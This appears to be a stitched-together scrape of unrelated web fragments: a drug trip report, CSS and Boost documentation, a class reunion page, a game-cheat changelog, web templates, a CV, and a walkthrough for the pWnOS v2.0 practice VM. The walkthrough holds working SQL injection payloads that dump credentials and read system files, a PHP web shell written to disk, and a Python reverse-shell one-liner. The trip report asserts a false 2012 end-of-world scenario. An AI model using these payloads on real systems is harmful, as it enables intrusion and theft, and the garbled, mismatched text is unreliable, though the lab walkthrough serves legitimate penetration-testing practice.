I honestly have no idea how long this experience lasted for, but I 'fully' woke up aka 'regained conciousness' at 2pm the next day still tripping. I've never slept on acid before, but then again I don't think I was sleeping it was more like my soul took my mind for a trip through the 4th dimension. The thought that I woke up with is that the world is going to end in 2012. I did a little research on this and I guess that the magnetic poles of the earth are probably going to switch in 2012 leaving us vulnurable to cosmic radiation which may or may not exterminate all life on earth. Also the magnetic poles switching would have an effect on the super volcanos in yosemite national park and in other parts of the world causing them to erupt. Which would be bad. I guess all humans are probably close to their last Psychedelic trip if this actually happens.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


Welcome to The Springfield College Class of '68
Welcome to online center for the Springfield College Class of '68. The site contains many features to help you stay in touch and keep informed of class news, events, and announcements.
- Calendar: Keep track of class events and activities.
- Directory: Keep in touch with friends with the online directory. Sign up today!
- Message Board: Post news, announcements, and general discussions here.
- Photos: Downloadable photo galleries of class mates and class events.
40th Class Reunion


Shorthand with 4 values
The CSS margin properties are used to create space around elements, outside of any defined borders.
With CSS, you have full control over the margins. There are properties for setting the margin for each side of an element (top, right, bottom, and left).
To shorten the code, it is possible to specify all the margin properties in one property.
The margin property is a shorthand property for the following individual margin properties:
margin-top
margin-right
margin-bottom
margin-left
So, here is how it works:
If the margin property has four values from ltr:
1) Top
2) Right
3) Bottom
4) Left


This element is alway visible
This element is only visible if the container has at least a width of 400px


I was going for a run last Sunday and happened to see the CEO of the company I had just resigned from on Friday. I said I had resigned to attend a Development Bootcamp and he said in a CEO-kind-of-way ‘Follow your dreams!’ I thought to myself - that’s a bit strong. I haven’t literally dreamed of doing a Development Bootcamp!
________But in a CEO-kind-of-way he was right. 20 years ago I went to Auckland Uni to do computer science. I’ve since worked in the tech industry in QA roles and management roles which were awesome. But, I originally wanted to do be a Developer and that ‘dream’ never completely left me. About 6 weeks ago, I was feeling my time was coming to an end at my then-current job so I made a quick decision to resign in time to be able to start at EDA with you all on Monday.
________I’m at EDA to learn some new skills and new ways of thinking. I’m at EDA because after the first COVID lockdown, I realised my family could survive challenges, and that if you don’t follow your dreams now, you might miss out. Why EDA? I really like the look of the Tech and Core components of the course, and I have a friend who went through EDA 2 years ago and loved it.
________Regarding Values and Identity - at the moment figuring out my values seems a bit out of reach for me. Thinking about and changing my identity seems more relevant and interesting to me.


If you can read this cheat was loaded up. Probably, it will even work now.
In game you can now open Esc-menu and find out new buttons. That's cheat functions. Everything is toggled on by default.
If something isn't working, make sure you are using Chrome. If game was just updated and cheat not working it means I need to update this extension. Also, here's our Discord.
We know you like personalization. That's why now we've added custom cursor support!
This can be found in the third tab, scroll to the bottom.
June 3, 2018User-defined bindings introduced. Now you can change every game and cheat button by yourself in 4th tab of cheat menu.
Latency counter improved. Network lag indicator added.
Pings game-killing issue was fixed.
May 21, 2018Futher autoaim improvement. For now your ping is taken into account in the calculations. Should help high (>100) ping players. There is option to disable it in menu and if it made it worse for you, you always can turn it off.
FPS and latency counter position in duo/squads fixed.
Loading stability increased. But now you can't start playing till everything will be fully loaded.
Mouseover tooltips was added to cheat menu.
Predictions display options removed. Anyway it was mostly for debug.
May 16, 2018Changed Discord server to stop disturbing common fair-play people from the previous one.
FPS and latency counter added.

May 04, 2018Cheat updated with a week delay.
Now it's on git. Check it out.
Menu was changed.
And now it won't load sometimes - reload page in that case.
Loot highlight
Enemy equipped weapon and armor inspection
Smooth autoaim
Streamer mode
Third-party ingame chat


The bits_mask
template provides
an extention to the low_bits_mask
template, by incorporating an Offset
with the template. The offest
is always relative to the right most bit, or bit 0. For a basic view of how
bits_mask
works consider
the following examples:
typedef bits_mask<int, 10, 3> mask; // mask::value has the following binary value // 0000 0000 0000 0000 0001 1100 0000 0000
For simplicity there is a defualt parameter for Width
giving it a value of 1
. This
makes writing of normally left or right shift masks simple and staticly checkable.
For example,
// If one would need to create a mask for checking the 11th bit within an // integer it can be done simple with the following mask typedef bits_mask<int,11> mask; // this creates a mask at the 11th bit within an integer.
#include <boost/integer/bits_mask.hpp>
bits_mask
has the following
template signature:
namespace boost { template <typename T, unsigned int Offset, unsigned int Width = 1u > struct bits_mask; }
bits_mask
inherits from
integral_mask
.
|
Parameter |
Description |
|---|---|
|
|
Is an integral type which the mask is to be created over. |
|
|
This is the number of bits from the least significant bit to the first bit being used to compose the mask. Another way to think of this is the amount that the mask has been shifted to the left (using the left shift operator). |
|
|
This is the width of the mask in bits. |
|
Precondition |
Description |
Enforcement |
|---|---|---|
|
|
|
This is only a documented precondition. It is not enforced. |
|
|
The |
Enforced by static assert. |
|
Valid range for mask width is > 0. |
The |
Enforced by domain of template parameter and by static assert. |
bits_mask
Compile time interface.
Assume that N
is of type
bits_mask<unsigned int,4,1>
the type
supplied here is only for example.
|
Operation |
Description |
|---|---|
|
|
Returns the |
|
|
Returns |
|
|
Returns the current types type. |
|
|
Returns the integral value associated with the |
|
|
Returns the integral value associated with the |
|
|
Run time support function. All this function does is return the value associated with the type. |
Examples and use cases related to the bits_mask
template.
Example:
Single bit mask using the default parameter for width.
typedef bits_mask< int, 0 > mask; // mask in this case has the following value // 0000 0000 0000 0000 0000 0000 0000 0001 int some_bit_value = 0xdeadbeef; // now testing to see if the zero bit is set in some_bit_value if(some_bit_value & mask() ) { ... true case ... } else { ... false case ... }
Here is another case where the bits_mask
template is used used similar to a bit field. The goal in this case would
be to extract a single value from within an integral storage type, which
may be storing one or more values.
typedef bits_mask<int,10,3> mask; // binary value of mask // 0000 0000 0000 0000 0001 1111 1111 1000 // this will then be used to retrieve a value within an integer. int some_bit_value = 0xdeadbeef; // binary value of some_bit_value // 1101 1110 1010 1011 1011 1110 1110 1111 // now to extract the value from within some_bit_value int new_int_value = ( some_bit_value & mask() ) >> mask::offset; // basic operations taking place. // 1101 1110 1010 1011 1011 1110 1110 1111 <- some_bit_value // 0000 0000 0000 0000 0001 1111 1111 1000 <- mask::value // preforming bitwise and operator. // 0000 0000 0000 0000 0001 1110 1110 1000 <- result of bitwise and operator // preform right shift operation. // 0000 0000 0000 0000 0000 0011 1101 1101 <- value of new_int_value.
The implicit cast operator allows for simplicity, clarity of code. In the
above example mask()
could be replaced with mask::value
to achieve the same result. The same applies to all other bitwise operators.


When this inspection is enabled, the Instance method naming convention inspection ignores TestNG test methods automatically.
Use the fields to specify minimum length, maximum length, and a regular expression expected for TestNG test method names.
Specify 0 in order not to check the length of names. Regular expressions are specified in the standard java.util.regex
format.


Water Slicer
The water twists and bends to pierce straight through the body of any creature.
${value} Energy Cost
2 2 3 3 3 4 4 4 5 5 5 5
${value}% Chance to pass through Enemies
18 24 30 36 42 48 54 60 66 72 78 84
+${value}% Total Damage
10 15 20 25 30 35 40 45 50 55 60 65
MaxLevel
8
UltimateLevel
12


{% load static %}
Administrator Signup
{% csrf_token %}
first name
last name
Birthday
Gender
Male
Female
Email
Phone Number
(without +91)
<- Back
Next


AutoMart
menu
Logout
New
Home
Dashboard
Car Make
Price Range
N1,000,000 - N1,500,000
Manufacturer
Mercedez
Kia
Honda
Car State
New
Used
Search Cars
Recently Added
Mercedez c-100 Series
N5,000,000
Buy Car
Toyota Corolla
N1,000,000
Used
Buy Car
Honda Pilot
N10,000,000
New
Buy Car
Land Rover
N8,000,000
New
Buy Car
Mercedez c-100 Series
N5,000,000
Used
Buy Car
Mercedez c-100 Series
N5,000,000
Used
Buy Car
Mercedez c-100 Series
N5,000,000
Used
Buy Car
Mercedez c-100 Series
N5,000,000
Used
Buy Car
«
1
2
3
4
5
»


#set( $symbol_pound = '#' ) #set( $symbol_dollar = '$' ) #set( $symbol_escape = '\' ) Login For this example, password is the same as username and any username will be accepted.


Get root... Win!
pWnOS v2.0 is a Virutal Machine Image which hosts a server to pratice penetration testing. It will test your ability to exploit the server and contains multiple entry points to reach the goal (root). It was design to be used with WMWare Workstation 7.0, but can also be used with most other virtual machine software.
Configure your attacking platform to be within the <IP_ADDRESS>/24 network range
The server's ip is staticaly set to <IP_ADDRESS>
Server's Network Settings:
IP: <IP_ADDRESS>
Netmask: <IP_ADDRESS>
Gateway: <IP_ADDRESS>
//intercept post request using burpsuite
//alter post data
email='&pass=pass&submit=Login&submitted=TRUE
email=' order by 1-- -&pass=pass&submit=Login&submitted=TRUE
email=' order by 9-- -&pass=pass&submit=Login&submitted=TRUE
//MySQL Error: Unknown column '9' in 'order clause
email=' union select 1,2,3,4,5,6,7,8-- -&pass=pass&submit=Login&submitted=TRUE
email=' union select 1,2,3,@@version,5,6,7,8-- -&pass=pass&submit=Login&submitted=TRUE
email=' union select 1,2,3,user(),5,6,7,8-- -&pass=pass&submit=Login&submitted=TRUE
email=' union select 1,2,3,group_concat(column_name),5,6,7,8 from information_schema.columns where table_name='users'-- -&pass=pass&submit=Login&submitted=TRUE
email=' union select 1,2,3,group_concat(user_id,0x3a,email,0x3a,pass,0x3a,user_level,0x3a),5,6,7,8 from users-- -&pass=pass&submit=Login&submitted=TRUE
email=' union select 1,2,3,group_concat(user_id,0x3a,first_name,0x3a,last_name,0x3a,email,0x3a,pass,0x3a,user_level,0x3a),5,6,7,8 from users-- -&pass=pass&submit=Login&submitted=TRUE
email=' union select null,null,null,load_file('/etc/passwd'),null,null,null,null-- -&pass=pass&submit=Login&submitted=TRUE
email=' union select null,null,null,load_file('/var/www/login.php'),null,null,null,null-- -&pass=pass&submit=Login&submitted=TRUE
email=' union select null,null,null,load_file('/var/www/includes/config.inc.php'),null,null,null,null-- -&pass=pass&submit=Login&submitted=TRUE
email=' union select null,null,null,load_file('/var/www/mysqli_connect.php'),null,null,null,null-- -&pass=pass&submit=Login&submitted=TRUE
//mysql -->user passwd: root goodday
//write php shell onto disk
email=' union select null,null,null,"<?php system($_GET['cmd']);?>",null,null,null,null into outfile '/var/www/shell.php'-- -&pass=pass&submit=Login&submitted=TRUE
//confirm shell is written to webserver root
email=' union select null,null,null,load_file('/var/www/shell.php'),null,null,null,null-- -&pass=pass&submit=Login&submitted=TRUE
//shell can be accessed at http://<IP_ADDRESS>/shell.php?cmd=[command]
http://<IP_ADDRESS>/shell.php?cmd=id
http://<IP_ADDRESS>/shell.php?cmd=uname -a
http://<IP_ADDRESS>/shell.php?cmd=which python
//python reverse shell one liner
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP_ADDRESS>",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
//privilege escalation
/var/mysqli_connect.php has root password
ssh using this password


This series of documents is designed for people who wish to contribute to the Twisted codebase.
Index


Hi, I am Gourashyam Moirangthem
My friends also call me Sam. I am currently a Project Manager at IIIT Manipur.
I hold a B.Tech. with “Distinction” in Computer Science & Engineering and am a PhD candidate. I have around 8 years of experience with proven excellence in the field of Information-Technology (IT) and computer software engineering.
As a campus recruit in 2014, I worked for 3 years at WIPRO technologies as a “Project Engineer/Enterprise Platform Engineer”, specialising in Java. I was fortunate enough to be recognised as the Best Campus Recruit in the PES Excellence Awards 2016-17, and rated “Excellent” continuously in all the performance ratings.
From 2017 to 2020, I have engaged in freelancing and explored start-up ventures to bring IT solutions to the grass-roots level in the small state of Manipur, India.
Since 2020, I have been part of the Indian Institute of Information Technology (IIIT) Manipur in conducting and managing R&D projects. Currently, I am working as a Project Manager for an R&D project for Machine-Translation of Manipuri language. During this stint, I designed and developed the first mass usable Meetei-Mayek Keyboard interface (published IEEE research paper on it and cited by Google NMT Researchers). Also, I could contribute my technical skills to the IIIT Manipur team in developing the first-of-its kind online multilingual dictionary cum thesaurus for Manipuri and four other languages of Manipur. The website is currently up and running at the KangleiWordnet website. Right now, I am dealing with cutting-edge Artificial Intelligence (AI)/Machine Learning (ML) techniques in Neural Machine Translation.
I have proven excellence in software development, maintenance, research, and managing projects in AGILE, CI/CD environment. I am well versed in collaborating and communicating with teams, stakeholders, and clients. I love to explore new ideas and solution capabilities with the magic of computer programming.
You will find me listening to music, playing guitar, writing or debating about some random stuff, or strolling with my near and dear ones when I am not working.
WANT TO KNOW MORE? Link to heading
SOME NOTABLE PROJECTS Link to heading
-
ISHAAN: A System for Bidirectional Machine Translation between 1) English and Assamese, Bodo, Manipuri, Nepali 2) Manipuri and Hindi 3) Assamese and Bodo (A consortium project involving IIT Bombay, IIIT Manipur, IIIT Hyderabad, NIT Silchar, Guwahati University and North Bengal University.) Link to heading
- Funded by: MeitY, Govt. of India, under National Language Translation Mission (NLTM)
- Organization: IIIT Manipur, July 2022 to present
- Working as Project Manager for the IIIT Manipur team.
- Managing the team for corpus collection and development of Machine Translation tool in AGILE environment.
- Handling team building and co-ordination, organization of trainings and events, manpower resource management, financial planning, reporting, stakeholder reach-out etc.
-
A Multilingual Reference Wordnet on four of the Indigenous Dialects of Manipur and Manipur Language Link to heading
- Funded by: SERB, DST, Govt. of India;
- Organization: IIIT Manipur, November 2020 to June 2022
- Worked as Junior Research Fellow (JRF)
- Handled the design and development of software environment including providing IT training of team members
- Designed and developed the first mass usable Meetei-Mayek Keyboard interface, and published an IEEE research paper on it which was cited by Google NMT Researchers .
- Conducted research and development in Natural Language Processing (NLP) regarding the low-resource Manipuri language.
- Organized and co-ordinated the workflow of the team in AGILE environment
- Developed and maintaining the KangleiWordnet website. which is first of its kind multilingual online dictionary cum thesaurus for Manipuri and four other languages of Manipur.
-
HP Unity – Platform Management Layers Link to heading
- Tenure: WIPRO technologies (March 2016 to August 2017)
- Client: Hewlett Packard Enterprise
- Team of 6 engineers.
- Handled plug-in based Manageability layer of HP Unity storage product
- Fixed several key bugs existing in the product
- Enhancement of the old architecture to HyperConverge
- Technology used includes Core Java, JaxRS, Git, UNIX, Python etc
- Awarded Prodigy by team with 1000 recognition points in winner’s circle
-
HP StoreAll – Fusion Manager Link to heading
- Tenure: WIPRO technologies (March 2015 to Feb 2016)
- Client: Hewlett Packard Enterprise
- Team of 3 engineers.
- Handled FM component of HP StoreAll storage product.
- Worked as Java developer in the team, handling all the roles from bug-fixing, unit testing, functional testing of the fixes and documentation etc.
- Technology used includes Java, Subversion, Python, UNIX tools etc.
-
VirtualFence Link to heading
- Open source assistive technology project (July 2015 – current)
- Assistive Technology solution for Alzheimer’s patients, senior citizens and children.
- Technology used includes Android App, NodeJS, MongoDB, GCM etc.
- Drafting a paper on it.
-
Alzita Link to heading
- Assistive technology project started in college (Sept 2014 to current).
- Android application to assist enabling smartphone accessibility to Alzheimer’s patients and Senior citizens.
-
Web development Link to heading
- Cost-effective, clean and minimalist web solutions
- Used technologies, tools and services as PHP, HTML, CSS, Javascript, Bootstrap, Laravel, Hugo, Github, blogger, Wordpress, shared hosting and domain name registrations.
EDUCATION Link to heading
-
PhD candidate from IIIT Manipur (Artificial Intelligence/NMT) Link to heading
-
B.Tech in CSE from Vel Tech University, Chennai Link to heading
- First class with Distinction, 9.29CGPA
- MGNMS scholarship holder (maintained full scholarship)
- Recruited from campus by WIPRO technologies as Project Engineer
- Member of College Music Club as Guitarist
- Organized college fests
- Member of Coding Club
SOME CO-CURRICULAR ACTIVITIES Link to heading
- Certified Cambridge ESOL (Business English Entry-3), Cambridge University
- Diploma in Advanced Computing (DAC), CDAC (Integrated course with B.Tech degree)
- GATE-2014
WHAT I DO FOR FUN Link to heading
- Writing
- Wrote several articles in leading newspapers of Manipur like Sangai Express, IFP etc.
- Blogging through my website
- Open-source contribution via GitHub, Gitlab.
- Participate in Coding challenges as HackerEarth
- Conferences, Conclaves and Exhibitions
- Represented IIIT Manipur at North-East Research Conclave (NERC-2022) held at IIT Guwahati (20-22 May 2022)
- Presented paper at 2021 IEEE 4th International Conference on Computing, Power and Communication Technologies, Kuala Lumpur (2021)
- Regional Science Congress, Golaghat (2004)
- Guitarist (College Music Club), Harmonium player (School Music Club)
- High School Karate and Judo player
TECHNICAL SKILLS: Link to heading
- Base skill:
- Artificial Intelligence (Machine Translation)
- Python
- Java
- Well versed in:
- Storage domain (NAS), SQL(MySql), JaxRS, Shell, XML
- PHP, Javascript, NodeJS, ExpressJS, MongoDB
- Web frameworks as Laravel, Hugo
- Android apps
- Knowledge of:
- C, C++, C#, ASP.Net
- Matlab
- Blockchain, AWS, Hadoop, MapR etc.
- Tools:
- Anaconda, Jupyter, Tensorflow
- Git, SVN, Code Collaborator, Bugzilla, Unix tools
- Eclipse, Android Studio, Netbeans, Vi
- Windows, Linux(Ubuntu), Unix
AREAS OF INTEREST: Link to heading
- Artificial Intelligence (Machine Translation, Automatic Speech Recognition)
- Assistive technology solutions based on sociological impact.
Thanks for dropping by.